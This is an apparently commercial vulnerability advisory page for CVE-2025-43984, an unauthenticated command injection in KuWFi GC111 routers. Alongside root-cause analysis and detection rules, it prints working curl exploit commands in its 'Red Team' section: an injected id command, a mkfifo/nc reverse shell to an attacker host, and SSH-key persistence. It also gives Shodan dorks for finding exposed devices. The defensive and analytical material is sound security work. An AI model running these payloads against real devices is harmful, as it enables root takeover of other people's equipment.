☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-43984

CVE-2025-43984 OS Command Injection in Kuwfi
📅 PUBLISHED: 2025-08-14 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.99%
👁️
2.99% probability
74.7× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: GC111-GL-LM321_V3.0_20191211
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-43984 is a critical, unauthenticated OS command injection vulnerability affecting KuWFi GC111 devices (Hardware Version: CPE-LM321_V3.2, Software Version: GC111-GL-LM321_V3.0_20191211). The vulnerability resides in the /goform/goform_set_cmd_process endpoint, where the SSID parameter is not sanitized before being passed to a system command. An attacker can send a crafted POST request to execute arbitrary OS commands with root privileges, leading to full device compromise. No patch is currently available, and public proof-of-concept (PoC) code exists.

This vulnerability is particularly dangerous because it requires no authentication, can be exploited remotely, and grants root-level access. Affected devices are often used as CPEs (Customer Premises Equipment) in IoT and ISP deployments, making them attractive targets for botnet recruitment, network pivoting, and data exfiltration.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network – Exploitable remotely over the network.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): None – No user action required.
  • Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High – Full access to device data and network traffic.
  • Integrity (I): High – Full control over device configuration and firmware.
  • Availability (A): High – Ability to crash the device or disrupt services.

Threat Level: Critical. The combination of remote, unauthenticated exploitation with root privileges makes this a top-priority vulnerability for any organization using KuWFi GC111 devices.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the web management interface of the KuWFi GC111 router. The device exposes an endpoint /goform/goform_set_cmd_process that is used to apply configuration changes. The SSID parameter, intended to set the wireless network name, is directly concatenated into a shell command without sanitization.

Root Cause: The firmware uses a function similar to popen() or system() to execute a command like:

iwconfig wlan0 essid <SSID>

If an attacker injects shell metacharacters (e.g., ;, |, &&, `) into the SSID parameter, they can break out of the intended command and execute arbitrary commands.

Attack Flow:

  1. Attacker identifies a vulnerable KuWFi GC111 device (e.g., via Shodan or mass scanning).
  2. Attacker sends a POST request to /goform/goform_set_cmd_process with a malicious SSID parameter.
  3. The device executes the injected command with root privileges.
  4. Attacker gains a reverse shell, installs malware, or exfiltrates data.

Example Payload:

POST /goform/goform_set_cmd_process HTTP/1.1
Host: <target_ip>
Content-Type: application/x-www-form-urlencoded

SSID=test;id

This would execute iwconfig wlan0 essid test;id, printing the id command output to the response or logs.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void set_ssid(char *ssid) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iwconfig wlan0 essid %s", ssid);
    system(cmd);  // Vulnerable: ssid not sanitized
}

Patched Code (Conceptual):

void set_ssid(char *ssid) {
    // Sanitize input: allow only alphanumeric, spaces, hyphens, underscores
    if (!is_valid_ssid(ssid)) {
        log_error("Invalid SSID");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iwconfig wlan0 essid %s", ssid);
    system(cmd);
}

A proper patch would either:

  • Use a whitelist of allowed characters for the SSID.
  • Use execvp() with separate arguments instead of system().
  • Escape shell metacharacters before passing to system().

Since no official patch exists, users must rely on mitigations.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Obtain a KuWFi GC111 device or use an emulator (e.g., QEMU for MIPS architecture).
  2. Connect the device to an isolated network.
  3. Identify the device IP (e.g., via DHCP or ARP scan).

Exploitation Steps:

  1. Basic Command Injection:

    curl -X POST http://<target_ip>/goform/goform_set_cmd_process \
         -d "SSID=test;id"
    

    The output of id may appear in the HTTP response or device logs.

  2. Reverse Shell:

    # Attacker machine (listener):
    nc -lvnp 4444
    
    # Exploit payload:
    curl -X POST http://<target_ip>/goform/goform_set_cmd_process \
         -d "SSID=test;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> 4444 >/tmp/f"
    
  3. Persistence (Add SSH key):

    curl -X POST http://<target_ip>/goform/goform_set_cmd_process \
         -d "SSID=test;echo 'ssh-rsa AAA...' >> /etc/dropbear/authorized_keys"
    

Metasploit Module (if available):

# Placeholder for a Metasploit module
# exploit/linux/http/kuwfi_gc111_cmd_inject

Blue Team (Defensive)

Detection Steps:

  1. Monitor HTTP POST requests to /goform/goform_set_cmd_process with unusual SSID parameters (containing ;, |, &, `).
  2. Check device logs for unexpected command execution (e.g., id, whoami, wget).
  3. Network traffic analysis: Look for outbound connections from the device to unknown IPs on unusual ports (e.g., 4444, 31337).
  4. File integrity monitoring: Check for new files in /tmp, /etc/dropbear, or /etc/init.d.

Honeypot Strategy:

  • Deploy a low-interaction honeypot mimicking the KuWFi GC111 web interface.
  • Log all POST requests to /goform/goform_set_cmd_process.
  • Alert on any SSID parameter containing shell metacharacters.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /goform/goform_set_cmd_process with SSID containing ;, |, &, `, $().
  • Outbound connections from the device to IPs on ports 4444, 31337, 1337 (common reverse shell ports).
  • DNS queries to domains associated with C2 infrastructure (e.g., malware.example.com).

File System IOCs:

  • Unexpected files in /tmp (e.g., /tmp/f, /tmp/.x).
  • Modified /etc/dropbear/authorized_keys with unknown SSH keys.
  • New processes running as root (e.g., /bin/sh, nc, bash).

Log IOCs:

  • Device logs showing execution of commands like id, whoami, wget, curl.
  • Repeated failed login attempts (if attacker tries to brute force before discovering the unauthenticated endpoint).

Detection Engineering

YARA Rule

rule CVE_2025_43984_KuWFi_GC111_Command_Injection {
    meta:
        description = "Detects exploit attempts for CVE-2025-43984 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-43984"
    strings:
        $endpoint = "/goform/goform_set_cmd_process"
        $ssid_param = "SSID="
        $shell_meta1 = /[;|&`$()]/
        $shell_meta2 = /\b(id|whoami|wget|curl|nc|bash|sh|mkfifo)\b/
    condition:
        $endpoint and $ssid_param and (#shell_meta1 > 0 or #shell_meta2 > 0)
}

Sigma Rule

title: CVE-2025-43984 KuWFi GC111 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /goform/goform_set_cmd_process with suspicious SSID parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/goform/goform_set_cmd_process'
        cs-uri-query|contains: 'SSID='
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
        - 'id'
        - 'whoami'
        - 'wget'
        - 'curl'
        - 'nc'
        - 'bash'
        - 'sh'
        - 'mkfifo'
    condition: selection and keywords
falsepositives:
    - Legitimate SSID names containing special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-43984 KuWFi GC111 Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/goform/goform_set_cmd_process";
    http_uri;
    content:"SSID=";
    http_client_body;
    pcre:"/(?:;|\||&|`|\$\(|id|whoami|wget|curl|nc|bash|sh|mkfifo)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-43984;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices from the internet and untrusted networks.
  2. Disable remote management if not required.
  3. Implement network segmentation to limit lateral movement from compromised devices.
  4. Monitor for exploitation attempts using the provided detection rules.

Long-term Fixes:

  • Vendor patch: Contact KuWFi for a firmware update. If unavailable, consider replacing the device.
  • Custom firewall rules: Block POST requests to /goform/goform_set_cmd_process from untrusted sources.
  • Web application firewall (WAF): Deploy a WAF with rules to block command injection payloads in the SSID parameter.

Workaround (if patching is not possible):

  • Use a reverse proxy (e.g., Nginx) in front of the device to filter malicious requests:
    location /goform/goform_set_cmd_process {
        if ($request_body ~* "SSID=.*[;|&`$()]") {
            return 403;
        }
        proxy_pass http://<device_ip>;
    }
    

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"KuWFi"
http.html:"GC111"
http.html:"CPE-LM321"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-43984/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.